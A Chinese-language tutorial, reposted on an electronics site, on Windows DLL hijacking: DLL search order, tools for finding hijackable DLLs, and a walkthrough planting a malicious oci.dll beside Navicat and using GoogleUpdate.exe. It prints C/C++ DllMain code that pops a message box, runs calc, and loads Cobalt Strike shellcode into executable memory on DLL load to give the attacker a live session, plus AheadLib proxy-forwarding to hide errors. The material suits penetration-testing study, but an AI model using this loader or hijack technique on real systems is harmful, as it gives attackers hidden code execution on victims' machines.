0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

DLL簡介

哆啦安全 ? 來源:哆啦安全 ? 2023-05-22 15:51 ? 次閱讀

DLL 劫持

DLL 簡介

在 Windows 中,許多應(yīng)用程序并不是一個完整的可執(zhí)行文件,它們被分割成一些相對獨(dú)立的動態(tài)鏈接庫,即 DLL 文件,放置于系統(tǒng)中。當(dāng)我們執(zhí)行某一個程序時,相應(yīng)的 DLL 文件就會被調(diào)用。一個應(yīng)用程序可使用多個 DLL 文件,一個 DLL 文件也可能被不同的應(yīng)用程序使用,這樣的 DLL 文件被稱為共享 DLL 文件。

DLL 加載順序

如果程序需要加載一個相對路徑的 dll 文件,它將從當(dāng)前目錄下嘗試查找,如果找不到,則按照如下順序?qū)ふ遥?/p>

windows xp sp2 之前

Windows 查找 DLL 的目錄以及對應(yīng)的順序:

進(jìn)程對應(yīng)的應(yīng)用程序所在目錄;

當(dāng)前目錄(Current Directory);

系統(tǒng)目錄(通過 GetSystemDirectory 獲取);

16 位系統(tǒng)目錄;

Windows 目錄(通過 GetWindowsDirectory 獲?。?;

PATH 環(huán)境變量中的各個目錄;

windows xp sp2 之后

Windows 查找 DLL 的目錄以及對應(yīng)的順序(SafeDllSearchMode 默認(rèn)會被開啟):

默認(rèn)注冊表為:HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其鍵值為 1

進(jìn)程對應(yīng)的應(yīng)用程序所在目錄(可理解為程序安裝目錄比如 C:ProgramFilesuTorrent)

系統(tǒng)目錄(即 % windir% system32);

16 位系統(tǒng)目錄(即 % windir% system);

Windows 目錄(即 % windir%);

當(dāng)前目錄(運(yùn)行的某個文件所在目錄,比如 C:Documents and SettingsAdministratorDesktop est);

PATH 環(huán)境變量中的各個目錄;

windows 7 以上版本

從 Windows7 之后,微軟為了更進(jìn)一步的防御系統(tǒng)的 DLL 被劫持,將一些容易被劫持的系統(tǒng) DLL 寫進(jìn)了一個注冊表項(xiàng)中,該項(xiàng)下的 DLL 文件就會被禁止從 EXE 自身所在的目錄下調(diào)用,而只能從系統(tǒng)目錄 SYSTEM32 目錄下調(diào)用,其注冊表位置:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

1fec4ade-f6a8-11ed-90ce-dac502259ad0.png

自動化挖掘

批量尋找劫持

https://github.com/wietze/windows-dll-hijacking

PLAINTEXT

1
python generate_pmc_files.py

20375ff6-f6a8-11ed-90ce-dac502259ad0.png

單個查找劫持

https://github.com/knight0x07/ImpulsiveDLLHijack

編譯完成后,把 Prerequisites 文件夾里的內(nèi)容拷貝至 ImpulsiveDLLHijack 項(xiàng)目里

20997a4c-f6a8-11ed-90ce-dac502259ad0.png

PLAINTEXT

1
ImpulsiveDLLHijack.exe -path xxx.exe

20d27b12-f6a8-11ed-90ce-dac502259ad0.png

這里使用navicat進(jìn)行測試,可見運(yùn)行的時候會加載C:UsersdyyAppDataLocalProgramsPythonPython38Scriptsoci.dll

211639ce-f6a8-11ed-90ce-dac502259ad0.png

使用 cs 生成惡意 dll,重命名為oci.dll后放置到該目錄下

216571c4-f6a8-11ed-90ce-dac502259ad0.png

2195cc52-f6a8-11ed-90ce-dac502259ad0.png

手動挖掘

Process Monitor 查找可用 dll,設(shè)置如下圖所示

21b2ab4c-f6a8-11ed-90ce-dac502259ad0.png

配置完可以保存導(dǎo)出配置,下次直接導(dǎo)入使用

21dc8db8-f6a8-11ed-90ce-dac502259ad0.png

使用GoogleUpdate.exe進(jìn)行測試,運(yùn)行程序 filter 加載所使用的 dll 文件

220e551e-f6a8-11ed-90ce-dac502259ad0.png

這里可以看出來,當(dāng)GoogleUpdate.exe程序運(yùn)行的時候,會調(diào)用當(dāng)前目錄下的goopdate.dll文件

編寫一個基礎(chǔ)的彈窗 dll

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include 
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH://DLL首次被加載到內(nèi)存時運(yùn)行
    case DLL_PROCESS_DETACH://DLL銷毀時運(yùn)行
    case DLL_THREAD_ATTACH://DLL線程加載時運(yùn)行
    case DLL_THREAD_DETACH://DLL線程銷毀時運(yùn)行
        break;
    }
    return TRUE;
}


extern "C" __declspec(dllexport) int DllEntry(DWORD ArgList, int a2) {
    MessageBox(NULL, "I am DLL !", "DLL", MB_OK);
    return 0;
}

2239d086-f6a8-11ed-90ce-dac502259ad0.png

彈計(jì)算器

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。
#include "pch.h"
#include

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

2260496e-f6a8-11ed-90ce-dac502259ad0.png

CS 上線

cs 生成 c 的 payload

22b3825a-f6a8-11ed-90ce-dac502259ad0.png

22d9e846-f6a8-11ed-90ce-dac502259ad0.png

生成的payload填入到下面相應(yīng)的位置上

CPP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 頭文件
#include "pch.h"
#include 
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc8";


DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
    LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpBase, shellcode, sizeof(shellcode));
    JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
    jmp_shellcode();
    return 0;
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函數(shù)
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);

    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }

    return TRUE;
}

2329b3d0-f6a8-11ed-90ce-dac502259ad0.png

運(yùn)行navicat程序就會上線

2354d240-f6a8-11ed-90ce-dac502259ad0.png

DLL 轉(zhuǎn)發(fā)劫持

有時候當(dāng)我們替換 dll 后,雖然可以執(zhí)行命令,但是會產(chǎn)生報(bào)錯

239cd3ce-f6a8-11ed-90ce-dac502259ad0.png

這時候我們可以使用AheadLib工具,使惡意的 DLL 將原有的函數(shù)轉(zhuǎn)發(fā)到原 DLL 中并且釋放惡意代碼

打開工具導(dǎo)入 dll 文件,會生成相應(yīng)的 cpp 文件

直接轉(zhuǎn)發(fā)函數(shù),我們只能控制 DllMain 即調(diào)用原 DLL 時觸發(fā)的行為可控
即時調(diào)用函數(shù),可以在處理加載 DLL 時,調(diào)用具體函數(shù)的時候行為可控,高度自定義觸發(fā)點(diǎn),也稱用來 hook 某些函數(shù),獲取到參數(shù)

23d2f0bc-f6a8-11ed-90ce-dac502259ad0.png

23fc5baa-f6a8-11ed-90ce-dac502259ad0.png

241c0c66-f6a8-11ed-90ce-dac502259ad0.png

審核編輯:彭靜
聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報(bào)投訴
  • dll
    dll
    +關(guān)注

    關(guān)注

    0

    文章

    115

    瀏覽量

    45333
  • WINDOWS
    +關(guān)注

    關(guān)注

    3

    文章

    3521

    瀏覽量

    88317
  • 應(yīng)用程序
    +關(guān)注

    關(guān)注

    37

    文章

    3237

    瀏覽量

    57547

原文標(biāo)題:DLL 劫持

文章出處:【微信號:哆啦安全,微信公眾號:哆啦安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏

    評論

    相關(guān)推薦

    winspool dll下載

    winspool dll
    發(fā)表于 08-31 15:54 ?12次下載
    winspool <b class='flag-5'>dll</b>下載

    comres.dll下載 (comres.dll文件病毒)

    描述:comres.dll是系統(tǒng)的動態(tài)鏈接庫文件。   文件路徑: C:WINDOWSsystem32comres.dll   備份文件路徑: C:WINDOWSsystem32dllcachecomres.dll   Vist
    發(fā)表于 11-28 14:12 ?113次下載
    comres.<b class='flag-5'>dll</b>下載 (comres.<b class='flag-5'>dll</b>文件病毒)

    dinput8.dll下載 (dinput8.dll文件修復(fù))

     dinput8.dll文件丟失了怎么辦,下載一個然后到到:C:WINDOWSsystem32 目錄下就可以了。 dinput8 - dinput8.dll - DLL文件信息   
    發(fā)表于 11-28 14:17 ?805次下載
    dinput8.<b class='flag-5'>dll</b>下載 (dinput8.<b class='flag-5'>dll</b>文件修復(fù))

    usp10.dll下載 (usp10.dll文件)

      usp10.dll是什么?usp10.dll是字符顯示腳本應(yīng)用程序接口相關(guān)文件。如果出現(xiàn)"沒有找到usp10.dll"文件或者"找不到usp10.dll "的問題,就下載usp10
    發(fā)表于 11-28 15:04 ?238次下載
    usp10.<b class='flag-5'>dll</b>下載 (usp10.<b class='flag-5'>dll</b>文件)

    如何編寫dll文件

    如何編寫dll文件:可以用幾種語言來實(shí)現(xiàn),如delphi編寫dll,pb編寫dll文件,java 編寫dll,vc 編寫dll,mfc
    發(fā)表于 01-16 10:20 ?8840次閱讀

    imm32.dll是什么

    imm32.dll是什么 :imm32 - imm32.dll - DLL文件信息   DLL 文件: imm32 或者 imm32.dll
    發(fā)表于 11-28 14:05 ?2467次閱讀

    comres.dll是什么,comres.dll怎么修復(fù)

    comres.dll是什么 comres.dll是系統(tǒng)的動態(tài)鏈接庫文件。   文件路徑: C:WINDOWSsystem32comres.dll   備份文件路徑: C:WINDOWSsystem32dllcachecomre
    發(fā)表于 11-28 14:13 ?1567次閱讀

    dinput8.dll是什么

    dinput8.dll是什么 dinput8 - dinput8.dll - DLL文件信息   DLL 文件: dinput8 或者 dinput8.
    發(fā)表于 11-28 14:17 ?4921次閱讀

    什么是DLL (動態(tài)連接庫)

    什么是DLL (動態(tài)連接庫) DLL(動態(tài)連接庫),既然是動態(tài),那么就是有靜態(tài)連接庫,我想如果這么說大家會更明白
    發(fā)表于 11-28 14:51 ?1.5w次閱讀

    msvcirt.dll是什么

    msvcirt.dll是什么 msvcirt.dll是微軟C語言程序運(yùn)行庫相關(guān)文件,用于例如打印?! 儆冢?Windows   系統(tǒng) DLL文件: 否  常見
    發(fā)表于 11-28 15:12 ?1684次閱讀
    msvcirt.<b class='flag-5'>dll</b>是什么

    mfc71.dll是什么

    mfc71.dll是什么 mfc71.dll是Microsoft基礎(chǔ)類( MFC )在創(chuàng)建Microsoft Visual Studio所使用的應(yīng)用功能模塊,此mfc71.dll并非病毒文件  進(jìn)程位
    發(fā)表于 11-28 15:17 ?2315次閱讀
    mfc71.<b class='flag-5'>dll</b>是什么

    DLL在_FPGA時鐘設(shè)計(jì)中的應(yīng)用

    DLL在_FPGA時鐘設(shè)計(jì)中的應(yīng)用,主要說明DLL的原理,在Xilinx FPGA中是怎么實(shí)現(xiàn)的。
    發(fā)表于 10-28 14:25 ?1次下載

    LabVIEW創(chuàng)建DLL

    1、LabVIEW也可以創(chuàng)建DLL 2、調(diào)用規(guī)范說明:C調(diào)用規(guī)范時,調(diào)用方負(fù)責(zé)清空堆棧。使用標(biāo)準(zhǔn)調(diào)用規(guī)范時,被調(diào)用函數(shù)負(fù)責(zé)清空堆棧。 所以要確認(rèn)您選擇了和DLL相同的調(diào)用規(guī)范 3、調(diào)用庫函數(shù)
    發(fā)表于 12-04 10:52 ?0次下載

    Lbview調(diào)用dll

    Lbview 調(diào)用dll資料分享。
    發(fā)表于 05-16 15:57 ?13次下載

    Windows操作系統(tǒng)中DLL簡介

    本文章是蛇矛實(shí)驗(yàn)室基于"火天網(wǎng)測網(wǎng)絡(luò)安全測試平臺"進(jìn)行編寫及驗(yàn)證,通過火天網(wǎng)測中的病毒測試模塊,可以對文件進(jìn)行詳盡的評估, 從而對文件是否存在惡意行為進(jìn)行判斷。
    的頭像 發(fā)表于 10-20 09:52 ?2512次閱讀